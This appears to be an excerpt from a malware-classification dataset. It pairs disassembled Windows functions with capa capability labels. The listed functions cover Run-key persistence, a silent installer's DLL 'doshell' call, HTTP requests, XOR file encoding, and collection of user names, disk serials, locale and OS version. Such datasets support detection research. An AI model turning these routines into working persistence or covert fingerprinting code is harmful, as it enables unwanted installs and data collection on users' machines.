joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a3e20
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
lea eax, [ebp - 0x210]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4a3e67
xor eax, eax
jmp 0x4a3f26
cmp dword [ebp + 0xc], 0
je 0x4a3f03
push 0x208
push 0
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00456880
add esp, 0xc
cmp dword [ebp + 0x10], 0
jne 0x4a3ea3
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x4a3eb4
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4a3f01
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4a3f26
jmp 0x4a3f14
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4a3f60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], ecx
push 0x26c
call fcn.004303c9
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx + 0x25c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [ecx + 0x260], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x18]
mov dword [eax + 0x264], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov dword [edx + 0x268], eax
mov ecx, dword [ebp - 8]
mov dword [ecx], 0
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
push sym.Install_silent.exe_public:_static_unsigned_long_int___stdcall_CNsReg::MonitorThread_void__
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4a3ffd
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4a42e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], 7
mov dword [ebp - 0x214], 0xf003f
cmp dword [ebp + 0x14], 0
je 0x4a4326
mov eax, dword [ebp - 0x214]
or eax, 0x100
mov dword [ebp - 0x214], eax
jmp 0x4a4341
call sym.Install_silent.exe_int___cdecl_isWow64_void_
test eax, eax
je 0x4a4341
mov ecx, dword [ebp - 0x214]
or ecx, 0x200
mov dword [ebp - 0x214], ecx
lea edx, [ebp - 0x218]
push edx
mov eax, dword [ebp - 0x214]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4a43e1
mov dword [ebp - 0x21c], 0x104
push 0x20a
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.00456880
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x220]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4a43d4
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 0x218]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x4a43e3
mov eax, dword [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4a4550
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ac60b
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x208
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.00456880
add esp, 0xc
lea ecx, [ebp - 0x218]
push ecx
call sym.Install_silent.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x21c]
call fcn.00405080
mov dword [ebp - 4], 0
push str.hfEncode.dll
lea ecx, [ebp - 0x21c]
call fcn.00409cc0
lea ecx, [ebp - 0x21c]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call sym.Install_silent.exe_public:_static_bool___cdecl_CNsCertManage::CheckHfSign_wchar_t_const__
add esp, 4
movzx eax, al
test eax, eax
jne 0x4a4608
mov byte [ebp - 0x21d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21c]
call fcn.00405060
mov al, byte [ebp - 0x21d]
jmp 0x4a46ed
lea ecx, [ebp - 0x21c]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x4a464d
mov byte [ebp - 0x21e], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21c]
call fcn.00405060
mov al, byte [ebp - 0x21e]
jmp 0x4a46ed
push str.doshell
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x4a468f
mov byte [ebp - 0x21f], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21c]
call fcn.00405060
mov al, byte [ebp - 0x21f]
jmp 0x4a46ed
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x22c]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4a46ce
mov byte [ebp - 0x220], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21c]
call fcn.00405060
mov al, byte [ebp - 0x220]
jmp 0x4a46ed
mov byte [ebp - 0x221], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21c]
call fcn.00405060
mov al, byte [ebp - 0x221]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret

Function at 0x4a4800
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov al, 1
pop ebp
ret

Function at 0x4a4860
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 3
push 0
push 0
push str.::20D04FE0_3AEA_1069_A2D8_08002B30309D
push str.explore
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov al, 1
pop ebp
ret
Function at 0x4a49e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x114
push 0
lea eax, [ebp - 0x118]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x108], 2
jne 0x4a4a3f
cmp dword [ebp - 0x114], 6
jne 0x4a4a3f
cmp dword [ebp - 0x110], 1
ja 0x4a4a3f
mov al, 1
jmp 0x4a4a41
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret

Function at 0x4a4a50
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x114
push 0
lea eax, [ebp - 0x118]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x108], 2
jne 0x4a4aa6
cmp dword [ebp - 0x114], 6
jae 0x4a4aa6
mov al, 1
jmp 0x4a4aa8
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret

Function at 0x4a56f0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x69], 0
mov dword [ebp - 0x70], 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.WINTRUST.dll_CryptCATAdminAcquireContext]
test eax, eax
jne 0x4a5724
xor al, al
jmp 0x4a57f1
push 0x4c9ad0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
push 0
push 3
push 0
push 1
push closesocket
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffff
jne 0x4a5764
push 0
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WINTRUST.dll_CryptCATAdminReleaseContext]
xor al, al
jmp 0x4a57f1
mov dword [ebp - 0x78], 0x64
push 0x64
push 0
lea eax, [ebp - 0x68]
push eax
call fcn.00456880
add esp, 0xc
push 0
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WINTRUST.dll_CryptCATAdminCalcHashFromFileHandle]
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
mov edx, dword [ebp - 0x78]
push edx
lea eax, [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
call dword [sym.imp.WINTRUST.dll_CryptCATAdminEnumCatalogFromHash]
mov dword [ebp - 0x7c], eax
push str.IsMsSign
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x7c], 0
je 0x4a57d7
mov byte [ebp - 0x69], 1
push 0
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WINTRUST.dll_CryptCATAdminReleaseCatalogContext]
push 0
mov ecx, dword [ebp - 0x70]
push ecx
call dword [sym.imp.WINTRUST.dll_CryptCATAdminReleaseContext]
push str.IsMsSign_done
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov al, byte [ebp - 0x69]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret
Function at 0x100013be
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.10001587
mov ebx, dword [ebp + 8]
pop ecx
mov ecx, eax
mov dword [ebp - 8], ecx
test ebx, ebx
je 0x100014c7
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100014c7
cmp ecx, dword [ebp + 0x14]
ja 0x100014c7
push esi
xor esi, esi
mov edx, esi
test edi, edi
je 0x1000149a
mov dword [ebp + 8], eax
cmp edx, edi
jae 0x1000140e
movzx ecx, byte [edx + ebx]
inc edx
jmp 0x10001410
mov ecx, esi
cmp edx, edi
jae 0x1000141e
movzx eax, byte [edx + ebx]
mov dword [ebp - 4], eax
inc edx
jmp 0x10001421
mov dword [ebp - 4], esi
cmp edx, edi
jae 0x1000142c
movzx eax, byte [edx + ebx]
inc edx
jmp 0x1000142e
mov eax, esi
mov edi, dword [ebp + 8]
shl ecx, 8
add ecx, dword [ebp - 4]
shl ecx, 8
add ecx, eax
mov eax, ecx
shr eax, 0x12
and eax, 0x3f
inc dword [ebp + 8]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], al
mov edi, dword [ebp + 8]
mov eax, ecx
shr eax, 0xc
and eax, 0x3f
inc dword [ebp + 8]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], al
mov edi, dword [ebp + 8]
mov eax, ecx
shr eax, 6
and eax, 0x3f
and ecx, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], al
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, edi
mov edi, dword [ebp + 0xc]
mov byte [eax + 1], cl
add eax, 2
mov dword [ebp + 8], eax
cmp edx, edi
jb 0x10001407
mov ecx, dword [ebp - 8]
mov eax, edi
xor edx, edx
push 3
pop edi
div edi
lea edx, [edx*4 + 0x10079420]
cmp dword [edx], esi
jle 0x100014bd
mov eax, dword [ebp + 0x10]
dec eax
add eax, ecx
mov byte [eax], 0x3d
inc esi
dec eax
cmp esi, dword [edx]
jl 0x100014b4
mov eax, dword [ebp + 0x18]
pop esi
mov dword [eax], ecx
mov al, 1
jmp 0x100014c9
xor al, al
pop edi
pop ebx
leave
ret
Function at 0x1000455e
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi], 0xffffffff
jne 0x100045c1
cmp dword [esi + 4], 0xffffffff
jne 0x100045c1
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x1000457d
mov eax, dword [eax]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x100045a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100045c1
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0xc], eax
cmp eax, 0xffffffff
je 0x100045c1
cmp byte [ebp + 0xc], bl
je 0x100045bf
push eax
mov ecx, esi
call fcn.100044b6
mov bl, 1
pop esi
mov al, bl
pop ebx
pop ebp
ret 8

Function at 0x100045c9
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.1005fb70
mov esi, 0x800
push esi
mov dword [ebp - 0x3c], 0x3c
call fcn.1005fc69
push esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
call fcn.1005fc69
add esp, 0x14
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x3c]
push eax
push 0
push dword [ebp + 8]
mov dword [ebp - 0xc], esi
call fcn.1005f2a0
pop ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x10004626
xor bl, bl
jmp 0x1000464c
push dword [ebp - 0x2c]
push esi
push dword [ebp + 0xc]
call fcn.10062793
push dword [ebp - 0x10]
push esi
push dword [ebp + 0x10]
call fcn.10062793
movzx ecx, word [ebp - 0x24]
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [eax], ecx
mov bl, 1
push dword [ebp - 0x2c]
call fcn.1005f204
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
call fcn.1005f204
pop ecx
pop ecx
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x10004668
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1410
call fcn.10060ff0
mov eax, dword [0x100b0bc0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov ebx, 0x7ff
push ebx
lea eax, [ebp - 0x1407]
push 0
push eax
mov byte [ebp - 0x1408], 0
call fcn.1005fb70
push ebx
xor ebx, ebx
lea eax, [ebp - 0xc07]
push ebx
push eax
mov byte [ebp - 0xc08], 0
call fcn.1005fb70
lea eax, [ebp - 0x140c]
push eax
lea eax, [ebp - 0xc08]
push eax
lea eax, [ebp - 0x1408]
push eax
push esi
mov dword [ebp - 0x140c], 0x50
call fcn.100045c9
add esp, 0x28
test al, al
jne 0x100046ed
xor al, al
jmp 0x1000479c
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x140c]
lea eax, [ebp - 0x1408]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
je 0x100046e6
push 1
push 0x80400200
push ebx
push ebx
push ebx
lea ecx, [ebp - 0xc08]
push ecx
push 0x10079f44
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x100046e6
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x10004746
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x100046e6
mov edi, 0x400
push edi
lea eax, [ebp - 0x407]
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.1005fb70
add esp, 0xc
lea eax, [ebp - 0x1410]
push ebx
push eax
lea eax, [ebp - 0x408]
push eax
push 0x13
push esi
mov dword [ebp - 0x1410], edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1000473d
lea eax, [ebp - 0x408]
push 0x10079f48
push eax
call fcn.100627f0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f49d
leave
ret
Function at 0x10004b7a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100627f0
pop ecx
pop ecx
test eax, eax
jne 0x10004b9b
push 4
pop eax
jmp 0x10004c5f
and dword [ebp - 8], 0
push 0x10079fb0
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call fcn.10062eb0
add esp, 0xc
test eax, eax
jne 0x10004c5c
cmp dword [ebp - 8], eax
je 0x10004c5c
and dword [ebp - 0xc], eax
push 0x10079fb4
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
call fcn.10062eb0
add esp, 0xc
test eax, eax
jne 0x10004c55
cmp dword [ebp - 0xc], eax
je 0x10004c55
mov edi, dword [ebp + 0x10]
push edi
call fcn.1005f2a0
lea ebx, [eax - 1]
pop ecx
cmp ebx, 0x1f
ja 0x10004c4e
push esi
mov byte [ebp - 1], 0
jmp 0x10004c1a
push dword [ebp - 0xc]
mov al, byte [esi + edi]
xor byte [ebp - 1], al
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.100632bb
add esp, 0x10
cmp esi, ebx
jne 0x10004c1e
xor esi, esi
jmp 0x10004c1f
inc esi
push dword [ebp - 8]
lea eax, [ebp - 1]
push 1
push 1
push eax
call fcn.100630b8
add esp, 0x10
cmp eax, 1
je 0x10004bfd
push dword [ebp - 8]
call fcn.10062d60
push dword [ebp - 0xc]
call fcn.10062d60
pop ecx
pop ecx
xor eax, eax
pop esi
jmp 0x10004c5f
push 3
jmp 0x10004b95
push 2
jmp 0x10004b95
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret

Function at 0x10004ca5
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x100b0bc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [0x100b56e0], eax
mov eax, dword [ebp + 0x14]
push esi
push edi
mov dword [0x100b56e4], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
push 0x7f
mov dword [0x100b56e8], eax
lea eax, [ebp - 0x83]
push ebx
push eax
mov byte [ebp - 0x84], bl
call fcn.1005fb70
mov edi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0xc
push ebx
push ebx
call edi
xor ecx, ecx
push 4
pop edx
mov esi, eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1005f209
pop ecx
push eax
push esi
mov dword [ebp - 0x88], eax
call edi
mov edi, dword [ebp - 0x88]
mov dword [ebp - 0x90], eax
mov esi, ebx
test eax, eax
je 0x10004d8b
dec eax
mov dword [ebp - 0x8c], eax
mov eax, 0x80
sub eax, ebx
push eax
lea eax, [ebp - 0x84]
add eax, ebx
push eax
movzx eax, word [edi + esi*4]
push 0x1001
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
cmp esi, dword [ebp - 0x8c]
jae 0x10004d73
push 0x1007a130
lea eax, [ebp - 0x84]
push 0x80
push eax
call fcn.10062b55
add esp, 0xc
lea eax, [ebp - 0x84]
push eax
call fcn.1005f2a0
inc esi
pop ecx
mov ebx, eax
cmp esi, dword [ebp - 0x90]
jb 0x10004d31
test edi, edi
je 0x10004d96
push edi
call fcn.1005f212
pop ecx
lea eax, [ebp - 0x84]
push eax
call fcn.1000d0ad
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f49d
leave
ret
Function at 0x1000563b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x100b0bc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [0x100b56e0], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [0x100b56e4], eax
mov eax, dword [ebp + 0x10]
mov esi, 0x103
xor ebx, ebx
push esi
mov dword [0x100b56e8], eax
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.1005fb70
push esi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], bl
call fcn.1005fb70
or dword [ebp - 0x210], 0xffffffff
lea eax, [ebp - 0x108]
push eax
call fcn.1000bfa2
add esp, 0x1c
lea eax, [ebp - 0x210]
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
push eax
push dword [ebp - 0x210]
lea eax, [ebp - 0x20c]
push str._u_d_s
push eax
call fcn.10063339
add esp, 0x14
lea eax, [ebp - 0x20c]
push eax
call fcn.1000d0ad
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f49d
leave
ret

Function at 0x10005703
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x100b0bc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [0x100b56e0], eax
mov eax, dword [ebp + 0x14]
mov dword [0x100b56e4], eax
mov eax, dword [ebp + 0x10]
push 0x3ff
mov dword [0x100b56e8], eax
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call fcn.1005fb70
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x404]
push eax
push 2
mov dword [ebp - 0x408], 0x400
call sub.Secur32.dll_GetUserNameExA
test al, al
jne 0x10005775
push 0x1007941c
jmp 0x1000577c
lea eax, [ebp - 0x404]
push eax
call fcn.1000d0ad
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005f49d
leave
ret
Function at 0x1000578d
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
mov eax, dword [0x100b0bc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [0x100b56e0], eax
mov eax, dword [ebp + 0x14]
push esi
push edi
mov dword [0x100b56e4], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
push 0x3ff
mov dword [0x100b56e8], eax
lea eax, [ebp - 0x403]
push ebx
push eax
mov byte [ebp - 0x404], bl
call fcn.1005fb70
add esp, 0xc
lea eax, [ebp - 0x4a0]
push eax
mov dword [ebp - 0x4a0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10005801
mov esi, dword [ebp - 0x49c]
mov edi, dword [ebp - 0x498]
jmp 0x1000580d
mov esi, dword [ebp - 0x4a4]
mov edi, dword [ebp - 0x4a4]
cmp esi, 5
jne 0x1000581e
cmp edi, 1
jne 0x1000581e
push str.NativeHWNDHost
jmp 0x10005823
push str.CabinetWClass
lea eax, [ebp - 0x404]
push 0x400
push eax
call fcn.10062793
add esp, 0xc
push 0
lea eax, [ebp - 0x404]
push eax
push ebx
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov ebx, eax
push 0
test ebx, ebx
je 0x1000588d
and dword [0x100b23a0], 0
push 0x100048c1
push ebx
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp esi, 5
jne 0x1000586e
cmp edi, 1
je 0x10005877
cmp esi, 6
jne 0x10005882
test edi, edi
jne 0x10005882
cmp dword [0x100b23a0], 0
jbe 0x10005837
jmp 0x1000588b
cmp dword [0x100b23a0], 2
jne 0x10005837
push 1
call fcn.1000d1be
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f49d
leave
ret

Function at 0x10005c9b
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x100b0bc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [0x100b56e4], eax
mov eax, dword [ebp + 0x10]
push edi
push esi
mov dword [0x100b56e0], esi
mov dword [0x100b56e8], eax
call fcn.1005f209
push esi
push 0
push eax
mov dword [ebp - 0x10c], eax
call fcn.1005fb70
push esi
call fcn.1005f209
push esi
mov edi, eax
push 0
push edi
call fcn.1005fb70
push esi
call fcn.1005f209
push esi
mov ebx, eax
push 0
push ebx
call fcn.1005fb70
push esi
call fcn.1005f209
push esi
push 0
push eax
call fcn.1005fb70
add esp, 0x40
push esi
push dword [ebp - 0x10c]
call fcn.1000d05f
test eax, eax
je 0x10005d2c
push 0xffffffffffffffff
call fcn.1000d1be
jmp 0x10005d9a
push esi
push edi
call fcn.1000d05f
test eax, eax
jne 0x10005d23
push esi
push ebx
call fcn.1000d05f
test eax, eax
jne 0x10005d23
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
mov dword [ebp - 0x110], 0x104
call fcn.1005fb70
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.1000d194
push 1
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push edi
push dword [ebp - 0x10c]
call fcn.1000bb4f
add esp, 0x18
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005f49d
leave
ret